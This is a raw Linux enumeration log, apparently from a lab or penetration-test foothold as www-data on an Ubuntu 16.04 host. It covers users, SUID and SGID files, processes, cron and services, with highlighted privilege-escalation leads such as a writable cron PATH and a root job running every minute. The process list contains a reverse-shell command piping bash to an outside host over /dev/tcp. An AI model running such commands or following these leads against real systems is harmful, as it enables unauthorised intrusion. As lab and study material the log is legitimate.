System/Kernel


www-data@ubuntu-xenial:/var/www$ uname -a ; cat /etc/*release
Linux ubuntu-xenial 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=16.04
DISTRIB_CODENAME=xenial
DISTRIB_DESCRIPTION="Ubuntu 16.04.7 LTS"
NAME="Ubuntu"
VERSION="16.04.7 LTS (Xenial Xerus)"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 16.04.7 LTS"
VERSION_ID="16.04"
HOME_URL="http://www.ubuntu.com/"
SUPPORT_URL="http://help.ubuntu.com/"
BUG_REPORT_URL="http://bugs.launchpad.net/ubuntu/"
VERSION_CODENAME=xenial
UBUNTU_CODENAME=xenial
  • 4.4.0-210-generic
  • Ubuntu 16.04.7 LTS (Xenial Xerus)
  • x86_64

Networks


www-data@ubuntu-xenial:/var/www$ ip route ; arp -a
default via 192.168.239.254 dev ens160 onlink 
192.168.239.0/24 dev ens160  proto kernel  scope link  src 192.168.239.217 
? (192.168.239.254) at 00:50:56:9e:0f:31 [ether] on ens160
www-data@ubuntu-xenial:/var/www$ netstat -antup4
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -               
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -               
tcp        0    141 192.168.239.217:35112   192.168.45.204:9999     ESTABLISHED 3318/bash       

tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -

Users & Groups


www-data@ubuntu-xenial:/var/www$ catcat /etc/passwd ; ll /home
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
syslog:x:104:108::/home/syslog:/bin/false
_apt:x:105:65534::/nonexistent:/bin/false
lxd:x:106:65534::/var/lib/lxd/:/bin/false
messagebus:x:107:111::/var/run/dbus:/bin/false
uuidd:x:108:112::/run/uuidd:/bin/false
dnsmasq:x:109:65534:dnsmasq,,,:/var/lib/misc:/bin/false
sshd:x:110:65534::/var/run/sshd:/usr/sbin/nologin
pollinate:x:111:1::/var/cache/pollinate:/bin/false
vagrant:x:1000:1000:,,,:/home/vagrant:/bin/bash
ubuntu:x:1001:1001:Ubuntu:/home/ubuntu:/bin/bash
mysql:x:112:117:MySQL Server,,,:/nonexistent:/bin/false
james:x:1002:1002:James M Brunner,,,:/home/james:/bin/bash
total 20K
4.0K drwxr-xr-x 25 root    root    4.0K Aug  2  2024 ..
4.0K drwxr-xr-x  2 james   james   4.0K Aug  8  2022 james
4.0K drwxr-xr-x  4 vagrant vagrant 4.0K Jan 17  2021 vagrant
4.0K drwxr-xr-x  5 root    root    4.0K Jan 17  2021 .
4.0K drwxr-xr-x  3 ubuntu  ubuntu  4.0K Jan 17  2021 ubuntu
  • james
  • vagrant
  • ubuntu
www-data@ubuntu-xenial:/var/www$ cut -d: -f1 /etc/passwd | xargs -n1 id
uid=0(root) gid=0(root) groups=0(root)
uid=1(daemon) gid=1(daemon) groups=1(daemon)
uid=2(bin) gid=2(bin) groups=2(bin)
uid=3(sys) gid=3(sys) groups=3(sys)
uid=4(sync) gid=65534(nogroup) groups=65534(nogroup)
uid=5(games) gid=60(games) groups=60(games)
uid=6(man) gid=12(man) groups=12(man)
uid=7(lp) gid=7(lp) groups=7(lp)
uid=8(mail) gid=8(mail) groups=8(mail)
uid=9(news) gid=9(news) groups=9(news)
uid=10(uucp) gid=10(uucp) groups=10(uucp)
uid=13(proxy) gid=13(proxy) groups=13(proxy)
uid=33(www-data) gid=33(www-data) groups=33(www-data)
uid=34(backup) gid=34(backup) groups=34(backup)
uid=38(list) gid=38(list) groups=38(list)
uid=39(irc) gid=39(irc) groups=39(irc)
uid=41(gnats) gid=41(gnats) groups=41(gnats)
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
uid=100(systemd-timesync) gid=102(systemd-timesync) groups=102(systemd-timesync)
uid=101(systemd-network) gid=103(systemd-network) groups=103(systemd-network)
uid=102(systemd-resolve) gid=104(systemd-resolve) groups=104(systemd-resolve)
uid=103(systemd-bus-proxy) gid=105(systemd-bus-proxy) groups=105(systemd-bus-proxy)
uid=104(syslog) gid=108(syslog) groups=108(syslog),4(adm)
uid=105(_apt) gid=65534(nogroup) groups=65534(nogroup)
uid=106(lxd) gid=65534(nogroup) groups=65534(nogroup)
uid=107(messagebus) gid=111(messagebus) groups=111(messagebus)
uid=108(uuidd) gid=112(uuidd) groups=112(uuidd)
uid=109(dnsmasq) gid=65534(nogroup) groups=65534(nogroup)
uid=110(sshd) gid=65534(nogroup) groups=65534(nogroup)
uid=111(pollinate) gid=1(daemon) groups=1(daemon)
uid=1000(vagrant) gid=1000(vagrant) groups=1000(vagrant)
uid=1001(ubuntu) gid=1001(ubuntu) groups=1001(ubuntu),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),110(lxd)
uid=112(mysql) gid=117(mysql) groups=117(mysql)
uid=1002(james) gid=1002(james) groups=1002(james)
  • uid=1000(vagrant) gid=1000(vagrant) groups=1000(vagrant)
  • uid=1001(ubuntu) gid=1001(ubuntu) groups=1001(ubuntu),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),110(lxd)
  • uid=1002(james) gid=1002(james) groups=1002(james)

SUIDs


www-data@ubuntu-xenial:/var/www$ find / -perm -04000 -ls -type f 2>/dev/null | grep -v '/snap'
    29802    420 -rwsr-xr-x   1 root     root       428240 May 26  2020 /usr/lib/openssh/ssh-keysign
    29372     12 -rwsr-xr-x   1 root     root        10232 Mar 27  2017 /usr/lib/eject/dmcrypt-get-device
    26258     84 -rwsr-xr-x   1 root     root        84120 Apr  9  2019 /usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
    29474     16 -rwsr-xr-x   1 root     root        14864 Mar 27  2019 /usr/lib/policykit-1/polkit-agent-helper-1
    29449     44 -rwsr-xr--   1 root     messagebus    42992 Jun 11  2020 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
    24377     56 -rwsr-xr-x   1 root     root          54256 Mar 26  2019 /usr/bin/passwd
     6585    136 -rwsr-xr-x   1 root     root         136808 Jan 20  2021 /usr/bin/sudo
    24380     40 -rwsr-xr-x   1 root     root          40432 Mar 26  2019 /usr/bin/chsh
    24376     72 -rwsr-xr-x   1 root     root          71824 Mar 26  2019 /usr/bin/chfn
    24612     36 -rwsr-xr-x   1 root     root          32944 Mar 26  2019 /usr/bin/newuidmap
    24721     52 -rwsr-sr-x   1 daemon   daemon        51464 Jan 14  2016 /usr/bin/at
    24784     24 -rwsr-xr-x   1 root     root          23376 Mar 27  2019 /usr/bin/pkexec
    24378     76 -rwsr-xr-x   1 root     root          75304 Mar 26  2019 /usr/bin/gpasswd
    24611     36 -rwsr-xr-x   1 root     root          32944 Mar 26  2019 /usr/bin/newgidmap
    24298     40 -rwsr-xr-x   1 root     root          39904 Mar 26  2019 /usr/bin/newgrp
      103     40 -rwsr-xr-x   1 root     root          40152 Jan 27  2020 /bin/mount
      123     44 -rwsr-xr-x   1 root     root          44680 May  7  2014 /bin/ping6
       87     40 -rwsr-xr-x   1 root     root          40128 Mar 26  2019 /bin/su
      124     44 -rwsr-xr-x   1 root     root          44168 May  7  2014 /bin/ping
      104     28 -rwsr-xr-x   1 root     root          27608 Jan 27  2020 /bin/umount
      153     32 -rwsr-xr-x   1 root     root          30800 Jul 12  2016 /bin/fusermount

SGIDs


www-data@ubuntu-xenial:/var/www$ find / -perm -02000 -ls -type f 2>/dev/null | grep -v '/snap'
    66410      4 drwxrwsr-x   2 root     mail         4096 Jan  6  2021 /var/mail
    66401      4 drwxrwsr-x   2 root     staff        4096 Apr 12  2016 /var/local
   256981      4 drwxr-s---   2 mysql    adm          4096 Oct 31  2022 /var/log/mysql
    66298      4 drwxr-sr-x  23 man      root         4096 Apr 29 17:44 /var/cache/man
   774445      4 drwxr-sr-x   2 man      root         4096 Apr 29 17:44 /var/cache/man/ja
   774450      4 drwxr-sr-x   2 man      root         4096 Apr 29 17:44 /var/cache/man/pt_BR
   774455      4 drwxr-sr-x   2 man      root         4096 Apr 29 17:44 /var/cache/man/hu
   774460      4 drwxr-sr-x   2 man      root         4096 Apr 29 17:44 /var/cache/man/zh_TW
   774465      4 drwxr-sr-x   2 man      root         4096 Apr 29 17:44 /var/cache/man/fi
   774468      4 drwxr-sr-x   2 man      root         4096 Apr 29 17:44 /var/cache/man/es
   774473      4 drwxr-sr-x   2 man      root         4096 Apr 29 17:44 /var/cache/man/cs
   774478      4 drwxr-sr-x   2 man      root         4096 Apr 29 17:44 /var/cache/man/zh_CN
   774483      4 drwxr-sr-x   2 man      root         4096 Apr 29 17:44 /var/cache/man/pl
   774488      4 drwxr-sr-x   2 man      root         4096 Apr 29 17:44 /var/cache/man/sl
   774492      4 drwxr-sr-x   2 man      root         4096 Apr 29 17:44 /var/cache/man/da
   774497      4 drwxr-sr-x   2 man      root         4096 Apr 29 17:44 /var/cache/man/ko
   774502      4 drwxr-sr-x   2 man      root         4096 Apr 29 17:44 /var/cache/man/sv
   774507      4 drwxr-sr-x   2 man      root         4096 Apr 29 17:44 /var/cache/man/tr
   774512      4 drwxr-sr-x   2 man      root         4096 Apr 29 17:44 /var/cache/man/de
   774517      4 drwxr-sr-x   2 man      root         4096 Apr 29 17:44 /var/cache/man/ru
   774522      4 drwxr-sr-x   2 man      root         4096 Apr 29 17:44 /var/cache/man/pt
   774527      4 drwxr-sr-x   2 man      root         4096 Apr 29 17:44 /var/cache/man/it
   774532      4 drwxr-sr-x   2 man      root         4096 Apr 29 17:44 /var/cache/man/fr
   774537      4 drwxr-sr-x   2 man      root         4096 Apr 29 17:44 /var/cache/man/id
   774542      4 drwxr-sr-x   2 man      root         4096 Apr 29 17:44 /var/cache/man/nl
      300      0 drwxr-sr-x   3 root     systemd-journal       60 Aug  2  2024 /run/log/journal
      301      0 drwxr-s---   2 root     systemd-journal      120 Apr 29 17:44 /run/log/journal/0bb86d79b4fd491c82b6051a77b12f61
    32340      4 drwxrwsr-x   7 root     staff               4096 Jan  6  2021 /usr/local/share/sgml
    32345      4 drwxrwsr-x   2 root     staff               4096 Jan  6  2021 /usr/local/share/sgml/dtd
    32344      4 drwxrwsr-x   2 root     staff               4096 Jan  6  2021 /usr/local/share/sgml/misc
    32343      4 drwxrwsr-x   2 root     staff               4096 Jan  6  2021 /usr/local/share/sgml/entities
    32341      4 drwxrwsr-x   2 root     staff               4096 Jan  6  2021 /usr/local/share/sgml/declaration
    32342      4 drwxrwsr-x   2 root     staff               4096 Jan  6  2021 /usr/local/share/sgml/stylesheet
    32347      4 drwxrwsr-x   6 root     staff               4096 Jan  6  2021 /usr/local/share/xml
    32351      4 drwxrwsr-x   2 root     staff               4096 Jan  6  2021 /usr/local/share/xml/schema
    32348      4 drwxrwsr-x   2 root     staff               4096 Jan  6  2021 /usr/local/share/xml/misc
    32350      4 drwxrwsr-x   2 root     staff               4096 Jan  6  2021 /usr/local/share/xml/entities
    32349      4 drwxrwsr-x   2 root     staff               4096 Jan  6  2021 /usr/local/share/xml/declaration
    32355      4 drwxrwsr-x   3 root     staff               4096 Jan  6  2021 /usr/local/lib/python3.5
    32356      4 drwxrwsr-x   2 root     staff               4096 Jan  6  2021 /usr/local/lib/python3.5/dist-packages
    26256     12 -rwxr-sr-x   1 root     utmp               10232 Mar 11  2016 /usr/lib/x86_64-linux-gnu/utempter/utempter
    24379     24 -rwxr-sr-x   1 root     shadow             22768 Mar 26  2019 /usr/bin/expiry
    24205     28 -rwxr-sr-x   1 root     tty                27368 Jan 27  2020 /usr/bin/wall
    24374     36 -rwxr-sr-x   1 root     crontab            36080 Apr  5  2016 /usr/bin/crontab
    24721     52 -rwsr-sr-x   1 daemon   daemon             51464 Jan 14  2016 /usr/bin/at
    24689     40 -rwxr-sr-x   1 root     mlocate            39520 Nov 18  2014 /usr/bin/mlocate
    24375     64 -rwxr-sr-x   1 root     shadow             62336 Mar 26  2019 /usr/bin/chage
     4898    428 -rwxr-sr-x   1 root     utmp              434216 Feb 23  2021 /usr/bin/screen
    24666    352 -rwxr-sr-x   1 root     ssh               358624 May 26  2020 /usr/bin/ssh-agent
    24463     16 -rwxr-sr-x   1 root     tty                14752 Mar  1  2016 /usr/bin/bsd-write
     4173     36 -rwxr-sr-x   1 root     shadow             35600 Oct  1  2020 /sbin/unix_chkpwd
     4177     36 -rwxr-sr-x   1 root     shadow             35632 Oct  1  2020 /sbin/pam_extrausers_chkpwd

Capabilities


www-data@ubuntu-xenial:/var/www$ getcap -r / 2>/dev/null
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/bin/systemd-detect-virt = cap_dac_override,cap_sys_ptrace+ep
/usr/bin/mtr = cap_net_raw+ep

Processes


www-data@ubuntu-xenial:/var/www$ ps -auxwww
USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root         1  0.0  0.5  37740  5644 ?        Ss   17:41   0:00 /sbin/init
root       411  0.0  0.2  28348  2876 ?        Ss   17:41   0:00 /lib/systemd/systemd-journald
root       468  0.0  0.1  94768  1512 ?        Ss   17:41   0:00 /sbin/lvmetad -f
root       480  0.0  0.4  42892  4356 ?        Ss   17:41   0:00 /lib/systemd/systemd-udevd
root       663  0.0  1.0 193168 10392 ?        Ssl  17:41   0:00 /usr/bin/vmtoolsd
syslog    1061  0.0  0.3 256388  3344 ?        Ssl  17:41   0:00 /usr/sbin/rsyslogd -n
daemon    1064  0.0  0.2  26040  2312 ?        Ss   17:41   0:00 /usr/sbin/atd -f
root      1065  0.0  0.1  20096  1160 ?        Ss   17:41   0:00 /lib/systemd/systemd-logind
root      1067  0.0  0.6 274564  6336 ?        Ssl  17:41   0:00 /usr/lib/accountsservice/accounts-daemon
message+  1074  0.0  0.3  42888  3792 ?        Ss   17:41   0:00 /usr/bin/dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation
root      1099  0.0  0.1 309568  1964 ?        Ssl  17:41   0:00 /usr/bin/lxcfs /var/lib/lxcfs/
root      1103  0.0  0.3  27724  3052 ?        Ss   17:41   0:00 /usr/sbin/cron -f
root      1105  0.0  0.1   4392  1280 ?        Ss   17:41   0:00 /usr/sbin/acpid
root      1112  0.0  0.8  85432  9140 ?        Ss   17:41   0:00 /usr/bin/VGAuthService
root      1127  0.0  0.0   5216   144 ?        Ss   17:41   0:00 /sbin/iscsid
root      1128  0.0  0.3   5716  3512 ?        S<Ls 17:41   0:00 /sbin/iscsid
root      1132  0.0  1.9 173340 20116 ?        Ssl  17:41   0:00 /usr/bin/python3 /usr/share/unattended-upgrades/unattended-upgrade-shutdown --wait-for-signal
root      1135  0.0  0.5 277084  5952 ?        Ssl  17:41   0:00 /usr/lib/policykit-1/polkitd --no-debug
root      1148  0.0  0.0  13368   160 ?        Ss   17:41   0:00 /sbin/mdadm --monitor --pid-file /run/mdadm/monitor.pid --daemonise --scan --syslog
root      1180  0.0  0.1  14652  1812 tty1     Ss+  17:41   0:00 /sbin/agetty --noclear tty1 linux
root      1210  0.0  0.5  65508  5212 ?        Ss   17:41   0:00 /usr/sbin/sshd -D
root      1250  0.0  0.2  19612  2056 ?        Ss   17:41   0:00 /usr/sbin/irqbalance --pid=/var/run/irqbalance.pid
root      1278  0.0  0.3  19884  3500 ?        S    17:41   0:00 /bin/bash /usr/bin/mysqld_safe
root      1347  0.0  2.4 258264 25264 ?        Ss   17:41   0:00 /usr/sbin/apache2 -k start
mysql     1454  0.0  6.9 622688 70392 ?        Sl   17:41   0:00 /usr/sbin/mysqld --basedir=/usr --datadir=/var/lib/mysql --plugin-dir=/usr/lib/mysql/plugin --user=mysql --skip-log-error --pid-file=/var/run/mysqld/mysqld.pid --socket=/var/run/mysqld/mysqld.sock --port=3306
root      1455  0.0  0.1  24804  1384 ?        S    17:41   0:00 logger -t mysqld -p daemon error
www-data  1466  0.0  3.6 263924 36896 ?        S    17:41   0:00 /usr/sbin/apache2 -k start
www-data  3316  0.0  0.0   4500   844 ?        S    17:57   0:00 sh -c bash -c "bash -i >& /dev/tcp/192.168.45.204/9999 0>&1" 
www-data  3317  0.0  0.2  18020  2836 ?        S    17:57   0:00 bash -c bash -i >& /dev/tcp/192.168.45.204/9999 0>&1
www-data  3318  0.0  0.3  18236  3288 ?        S    17:57   0:00 bash -i
www-data  3415  0.0  0.2  34420  2860 ?        R    18:02   0:00 ps -auxwww
  • root 1099 0.0 0.1 309568 1964 ? Ssl 17:41 0:00 /usr/bin/lxcfs /var/lib/lxcfs/
  • root 1103 0.0 0.3 27724 3052 ? Ss 17:41 0:00 /usr/sbin/cron -f
  • root 1128 0.0 0.3 5716 3512 ? S<Ls 17:41 0:00 /sbin/iscsid
  • root 1278 0.0 0.3 19884 3500 ? S 17:41 0:00 /bin/bash /usr/bin/mysqld_safe
  • mysql 1454 0.0 6.9 622688 70392 ? Sl 17:41 0:00 /usr/sbin/mysqld --basedir=/usr --datadir=/var/lib/mysql --plugin-dir=/usr/lib/mysql/plugin --user=mysql --skip-log-error --pid-file=/var/run/mysqld/mysqld.pid --socket=/var/run/mysqld/mysqld.sock --port=3306
  • root 1455 0.0 0.1 24804 1384 ? S 17:41 0:00 logger -t mysqld -p daemon error

Cron & Systemd


www-data@ubuntu-xenial:/var/www$ crontab -l ; cat /etc/crontab ; systemctl list-timers
no crontab for www-data
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
 
SHELL=/bin/sh
PATH=/home/james:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
 
# m h dom mon dow user	command
17 *	* * *	root    cd / && run-parts --report /etc/cron.hourly
25 6	* * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6	* * 7	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6	1 * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
* * * * * root /usr/local/bin/backup.sh
NEXT                         LEFT     LAST                         PASSED    UNIT                         ACTIVATES
Wed 2025-04-30 00:22:02 UTC  6h left  Tue 2025-04-29 17:44:02 UTC  19min ago apt-daily.timer              apt-daily.service
Wed 2025-04-30 02:18:55 UTC  8h left  Tue 2025-04-29 17:44:02 UTC  19min ago motd-news.timer              motd-news.service
Wed 2025-04-30 06:32:55 UTC  12h left Tue 2025-04-29 17:44:02 UTC  19min ago apt-daily-upgrade.timer      apt-daily-upgrade.service
Wed 2025-04-30 17:57:41 UTC  23h left Tue 2025-04-29 17:57:41 UTC  6min ago  systemd-tmpfiles-clean.timer systemd-tmpfiles-clean.service
 
4 timers listed.
Pass --all to see loaded but inactive timers, too.

* * * * * root /usr/local/bin/backup.sh

Services


www-data@ubuntu-xenial:/var/www$ systemctl list-units --state=running
UNIT                              LOAD   ACTIVE SUB     DESCRIPTION
proc-sys-fs-binfmt_misc.automount loaded active running Arbitrary Executable File Formats File System Automount Point
acpid.path                        loaded active running ACPI Events Check
init.scope                        loaded active running System and Service Manager
accounts-daemon.service           loaded active running Accounts Service
acpid.service                     loaded active running ACPI event daemon
apache2.service                   loaded active running LSB: Apache2 web server
atd.service                       loaded active running Deferred execution scheduler
cron.service                      loaded active running Regular background program processing daemon
dbus.service                      loaded active running D-Bus System Message Bus
getty@tty1.service                loaded active running Getty on tty1
irqbalance.service                loaded active running LSB: daemon to balance interrupts for SMP systems
iscsid.service                    loaded active running iSCSI initiator daemon (iscsid)
lvm2-lvmetad.service              loaded active running LVM2 metadata daemon
lxcfs.service                     loaded active running FUSE filesystem for LXC
mdadm.service                     loaded active running LSB: MD monitoring daemon
mysql.service                     loaded active running LSB: Start and stop the mysql database server daemon
open-vm-tools.service             loaded active running Service for virtual machines hosted on VMware
polkitd.service                   loaded active running Authenticate and Authorize Users to Run Privileged Tasks
rsyslog.service                   loaded active running System Logging Service
ssh.service                       loaded active running OpenBSD Secure Shell server
systemd-journald.service          loaded active running Journal Service
systemd-logind.service            loaded active running Login Service
systemd-udevd.service             loaded active running udev Kernel Device Manager
unattended-upgrades.service       loaded active running Unattended Upgrades Shutdown
vgauth.service                    loaded active running Authentication service for virtual machines hosted on VMware
acpid.socket                      loaded active running ACPID Listen Socket
dbus.socket                       loaded active running D-Bus System Message Bus Socket
lvm2-lvmetad.socket               loaded active running LVM2 metadata daemon socket
syslog.socket                     loaded active running Syslog Socket
systemd-journald-audit.socket     loaded active running Journal Audit Socket
systemd-journald-dev-log.socket   loaded active running Journal Socket (/dev/log)
systemd-journald.socket           loaded active running Journal Socket
systemd-udevd-control.socket      loaded active running udev Control Socket
systemd-udevd-kernel.socket       loaded active running udev Kernel Socket
 
LOAD   = Reflects whether the unit definition was properly loaded.
ACTIVE = The high-level unit activation state, i.e. generalization of SUB.
SUB    = The low-level unit activation state, values depend on unit type.
 
34 loaded units listed. Pass --all to see loaded but inactive units, too.
To show all installed unit files use 'systemctl list-unit-files'.
  • apache2.service
  • cron.service
  • iscsid.service
  • lxcfs.service
  • mysql.service

Sudo Version


www-data@ubuntu-xenial:/var/www$ sudo --version
Sudo version 1.8.16
Sudoers policy plugin version 1.8.16
Sudoers file grammar version 45
Sudoers I/O plugin version 1.8.16

Sudo version 1.8.16

Glibc Version


www-data@ubuntu-xenial:/var/www$ ldd --version
ldd (Ubuntu GLIBC 2.23-0ubuntu11.3) 2.23
Copyright (C) 2016 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
Written by Roland McGrath and Ulrich Drepper.

ldd (Ubuntu GLIBC 2.23-0ubuntu11.3) 2.23